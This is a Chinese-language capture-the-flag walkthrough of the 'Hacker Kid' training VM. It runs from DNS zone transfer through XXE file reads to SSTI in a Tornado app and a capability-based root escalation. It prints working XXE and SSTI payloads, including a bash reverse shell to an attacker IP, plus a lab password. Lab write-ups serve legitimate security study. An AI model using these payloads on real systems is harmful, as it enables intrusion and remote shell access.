07 - HACKER KID

07 - HACKER KID: 1.0.1

0x01 下载地址

0x02 靶机目标

root权限,OSCP风格靶机,无需爆破

0x03 工具准备

<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<email>
	&xxe;
</email>

{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]

<div data-gb-custom-block data-tag="import"></div>{{os.system('bash -c "bash -i >& /dev/tcp/10.0.0.14/5555 0>&1"')}}

0x04 详细步骤

主机发现

端口扫描

Tornado:Python轻量级开发框架

BIND 9.16.1:存在CVE-2020-8625 \ CVE-2021-25216远程代码执行,没有现成利用代码

确认存在DNS服务器

Web信息收集

浏览器访问http://10.0.0.7,靶机作者提示使用dig

浏览器访问http://10.0.0.7/index.html Not Found

浏览器访问http://10.0.0.7/index.php 可以访问,说明存在php环境

点击App

访问http://10.0.0.7/app.html,点击每个链接,都没反应

访问http://10.0.0.7/form.html,并未发现更多有用信息

返回查看首页源码view-source:http://10.0.0.7/index.php,发现源码中存在一段注释提示:提示使用GET参数page_no访问该页面

页面访问http://10.0.0.7/index.php?page_no,出现了新的提示信息

启动Burp测试page_no参数数值

测试数字1-100,步长为1

当测试数值为21时,页面返回长度不同

访问http://10.0.0.7/index.php?page_no=21,靶机作者提供更多的提示信息:存在多个子域访问这个靶机,其中一个域名是hackers.blackhat.local

修改Kali主机的域名信息

访问http://hackers.blackhat.local/页面并无变化

DNS域传送漏洞

发现新的域名mail.blackhat.localhackerkid.blackhat.localhacker.blackhat.local.blackhat.localwww.blackhat.local

把这些域名加入Kali主机hosts文件

访问http://hackerkid.blackhat.local/发现新的页面

访问http://10.0.0.7:9999发现新的页面

http://hackerkid.blackhat.local/尝试注册1234,提示3不可用

3改为[email protected],依然提示不可用

通过Burp抓包发现,提交数据包含xml version

XXE注入

漏洞验证方法:

  • 不盲打

发现rootsaket具有登录权限

使用PHP封装器读取/home/saket/.bashrc文件

将读取文件进行解码

发现一个用户名admin和密码Saket!#$%@!!

将该密码登录http://10.0.0.7:9999,发现并不正确。

通过对密码仔细观察,结合前期读取/etc/passwd中发现的有saket用户,故将saketSaket!#$%@!!填入http://10.0.0.7:9999,可以登录系统

根据系统提示,测试是否存在name的变量,浏览器访问http://10.0.0.7:9999/?name=123确实存在

SSTI模板注入(获取Shell)

如果没有对用户输入的user.input没有过滤,那么这个地方可能可以执行任意Python代码

通杀Payload:

访问http://10.0.0.7:9999/?name={{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz],页面报错确定存在模板注入

一进步验证http://10.0.0.7:9999/?name=${7*7},{{7*7}},发现页面执行了7*7的运算,进一步确定了该页面存在模板注入

构造Payload,反弹Shell

Kali启用监听5555

浏览器执行http://10.0.0.7:9999/?name=<div data-gb-custom-block data-tag="import"></div>{{os.system('bash -c "bash -i >& /dev/tcp/10.0.0.14/5555 0>&1"')}},但页面报错

故对Payload进行URL编码

http://10.0.0.7:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.14%2F5555%200%3E%261%22')%7D%7D

Shell反弹成功

Capabilities提权

参考文档:

查询具有Cap权限的目录和文件

发现python2.7设置有cap_sys_ptrace+epCap权限

查询系统上以root权限运行的程序

获取利用地址:

进程注入脚本:

该脚本注入成功后会启动tcp 5600端口,查看本地监听端口

Kali主机使用nc连接

root提权成功

最后更新于

这有帮助吗?